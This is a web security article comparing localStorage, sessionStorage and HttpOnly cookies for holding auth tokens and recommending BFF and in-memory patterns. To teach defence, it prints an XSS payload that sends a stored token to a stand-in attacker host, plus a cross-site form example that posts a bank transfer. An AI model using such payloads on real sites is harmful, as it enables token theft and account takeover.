Web Security

localStorage vs sessionStorage vs Cookies: Security Comparison

Why localStorage is dangerous for authentication tokens (XSS exfiltration), how sessionStorage differs, what HttpOnly cookies prevent, and the recommended SPA auth token storage patterns.

December 1, 20258 min readShipSafer Team

Where you store authentication tokens in a browser matters enormously. The wrong choice can mean that a single XSS vulnerability — anywhere in your application or any third-party script you load — gives an attacker permanent access to every user's account. The right choice makes token theft significantly harder even when XSS exists.

The Token Storage Problem

Single-page applications need to store authentication tokens (JWTs, opaque session tokens) somewhere in the browser between page loads. The three available options are localStorage, sessionStorage, and cookies. Each has a different security profile.

localStorage: Convenient but XSS-Vulnerable

localStorage persists across browser sessions, survives tab closes, and is accessible from any JavaScript running on the same origin.

// Storing a JWT in localStorage — the common mistake
localStorage.setItem('auth_token', jwt);

// Reading it back for API requests
const token = localStorage.getItem('auth_token');
fetch('/api/data', {
  headers: { Authorization: `Bearer ${token}` }
});

The critical vulnerability: Any JavaScript running on your page can read localStorage. This includes:

  • Your own code (fine)
  • An XSS payload injected via a vulnerability in your application
  • Third-party scripts from npm packages you installed
  • Tag manager scripts loaded from your marketing team's account
  • Chat widget scripts from third-party vendors
  • Analytics libraries

An XSS payload that exfiltrates localStorage tokens is trivially simple:

// What an XSS payload looks like
new Image().src = 'https://attacker.com/steal?token=' +
  encodeURIComponent(localStorage.getItem('auth_token'));

The stolen JWT is now in the attacker's server logs. They can use it until it expires — from anywhere, on any device. If the JWT has a 30-day expiry (common in "remember me" implementations), that's a 30-day persistent compromise from a single XSS hit.

The attack surface for XSS is larger than most developers realize. Your application might be well-hardened, but every npm dependency you install is potential attack surface. The event-stream attack (2018), the ua-parser-js attack (2021), and dozens of others demonstrate that popular, trusted packages get compromised.

localStorage has no properties that make token theft harder. It is not scoped to HTTPS, not protected from JavaScript access, and persists indefinitely.

sessionStorage: Slightly Better, Still Exposed

sessionStorage is scoped to the current browser tab and cleared when the tab closes. It has the same JavaScript accessibility as localStorage.

// sessionStorage tokens are slightly less persistent
sessionStorage.setItem('auth_token', jwt);

The security improvement over localStorage is minimal:

  • Still accessible by any JavaScript on the page — XSS can still steal it
  • A compromised token is only valid until the tab closes, but an active tab may stay open for hours
  • Not shared between tabs (a usability disadvantage that also limits the XSS window slightly)

sessionStorage is appropriate for temporary, low-sensitivity values (UI state, draft form data), but not for authentication tokens.

HttpOnly Cookies: The Secure Default

An HttpOnly cookie is set by the server and cannot be read or modified by JavaScript. The browser automatically includes it in every matching request, but document.cookie does not expose it.

HTTP/1.1 200 OK
Set-Cookie: session_token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=86400
AttributeEffect
HttpOnlyJavaScript cannot read document.cookie for this cookie
SecureOnly sent over HTTPS connections
SameSite=StrictNever sent in cross-site requests (maximum CSRF protection)
SameSite=LaxSent in top-level navigations but not sub-resource requests
SameSite=None; SecureSent in all cross-site requests (required for cross-domain APIs)
Path=/Scoped to the entire domain
Max-AgeExplicit expiry in seconds

What XSS cannot do with HttpOnly cookies:

// XSS payload attempting to steal cookies
document.cookie  // Returns only non-HttpOnly cookies — doesn't show session_token

// This fails — HttpOnly cookies are invisible to JavaScript
const token = getCookieValue('session_token');  // undefined

What XSS can still do:

Even with HttpOnly cookies, XSS can:

  • Make authenticated API requests on behalf of the user (the browser sends cookies automatically)
  • Modify the DOM to collect credentials as users type them
  • Redirect the user to a phishing page
  • Read non-HttpOnly data (other cookies, localStorage content, the page DOM)

HttpOnly cookies prevent token exfiltration specifically — the token cannot be extracted and used from a different device/browser. The attack is degraded to session riding: the attacker can only act within the victim's current browser session.

SameSite: CSRF Protection Built Into Cookies

SameSite is the modern replacement for CSRF tokens in most scenarios.

With SameSite=Strict, the cookie is not sent when navigating to your site from an external link or when a cross-origin page makes a request to your API:

<!-- On evil.com -->
<!-- With SameSite=Strict, the session_token cookie is NOT sent with this request -->
<form action="https://bank.com/transfer" method="POST">
  <input name="amount" value="1000" />
  <input name="to" value="attacker_account" />
</form>

SameSite=Lax is the browser default (Chrome, Firefox, Edge) when no SameSite attribute is specified. It blocks cookies from cross-site sub-resource requests and forms, but allows cookies on top-level navigations (clicking a link):

# SameSite=Lax allows cookie on:
https://bank.com/account  (navigated from evil.com link)

# SameSite=Lax blocks cookie on:
fetch('https://bank.com/api/transfer', { method: 'POST' })  (from evil.com)
<img src="https://bank.com/api/transfer?amount=1000">  (from evil.com)

Recommended SPA Authentication Patterns

Pattern 1: BFF (Backend For Frontend) with HttpOnly Cookies

The cleanest architecture: your SPA never touches tokens. A backend-for-frontend handles the OAuth flow and sets HttpOnly cookies.

Browser (SPA) <---> BFF (Next.js / Express) <---> Auth Service / OAuth Provider
                         |
                    Sets HttpOnly cookie
                    Proxies API requests

The SPA makes requests to the BFF, which adds authentication headers before forwarding to the actual API. The token never touches the browser's accessible storage.

// Next.js BFF route handler
// app/api/[...proxy]/route.ts

export async function GET(request: Request) {
  const sessionCookie = cookies().get('session_token');

  if (!sessionCookie) {
    return Response.json({ error: 'Not authenticated' }, { status: 401 });
  }

  // Forward request to the actual API, adding auth header
  const backendResponse = await fetch('https://api.internal/data', {
    headers: {
      Authorization: `Bearer ${sessionCookie.value}`,
    },
  });

  return backendResponse;
}

// Login endpoint — sets HttpOnly cookie, never returns token to client
export async function POST(request: Request) {
  const { username, password } = await request.json();
  const token = await authenticateUser(username, password);

  const response = Response.json({ success: true });
  response.headers.set(
    'Set-Cookie',
    `session_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=86400`
  );
  return response;
}

Pattern 2: In-Memory Token Storage (No Persistence)

Store the access token in a JavaScript module variable — never in localStorage or sessionStorage. The token is lost on page reload, so pair it with a long-lived refresh token in an HttpOnly cookie.

// auth/tokenStore.ts — module-level variable, not accessible from other origins
let accessToken: string | null = null;

export function setAccessToken(token: string): void {
  accessToken = token;
}

export function getAccessToken(): string | null {
  return accessToken;
}

export function clearAccessToken(): void {
  accessToken = null;
}
// auth/api.ts
import { getAccessToken, setAccessToken } from './tokenStore';

export async function fetchWithAuth(url: string, options: RequestInit = {}) {
  let token = getAccessToken();

  if (!token) {
    // Refresh token is in HttpOnly cookie — browser sends it automatically
    const refreshResponse = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include',  // Include the HttpOnly refresh token cookie
    });

    if (!refreshResponse.ok) {
      throw new Error('Session expired');
    }

    const { accessToken: newToken } = await refreshResponse.json();
    setAccessToken(newToken);
    token = newToken;
  }

  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${token}`,
    },
  });
}

XSS can still read the in-memory token (it's in JavaScript memory), but it cannot steal the refresh token (HttpOnly cookie), so the attacker cannot get a new access token after the current one expires. The compromise window is limited to the access token TTL — typically 15 minutes.

Why Not Just Use localStorage with a Short TTL?

A 15-minute JWT in localStorage is still exfiltrable. The attacker scripts run in real time — they can read the token immediately after it's set and use it within that window. Short TTL reduces the window for offline use, not for immediate theft.

Summary Decision Matrix

StorageXSS TheftCSRF RiskSurvives ReloadSurvives Tab CloseRecommendation
localStorageYesNoYesYesNever for auth tokens
sessionStorageYesNoNoNoNever for auth tokens
HttpOnly CookieNoYes (without SameSite)YesDepends on Max-AgePreferred for session tokens
In-Memory JSYes (during session)NoNoNoGood for short-lived access tokens
HttpOnly + SameSite=StrictNoNoYesDepends on Max-AgeBest option for most applications

The correct choice for most applications: HttpOnly + Secure + SameSite=Strict cookies for session tokens, set by a server-side component that never exposes the token to client JavaScript.

localstorage
sessionstorage
cookies
xss
authentication
token storage
web security

Check Your Security Score — Free

See exactly how your domain scores on DMARC, TLS, HTTP headers, and 25+ other automated security checks in under 60 seconds.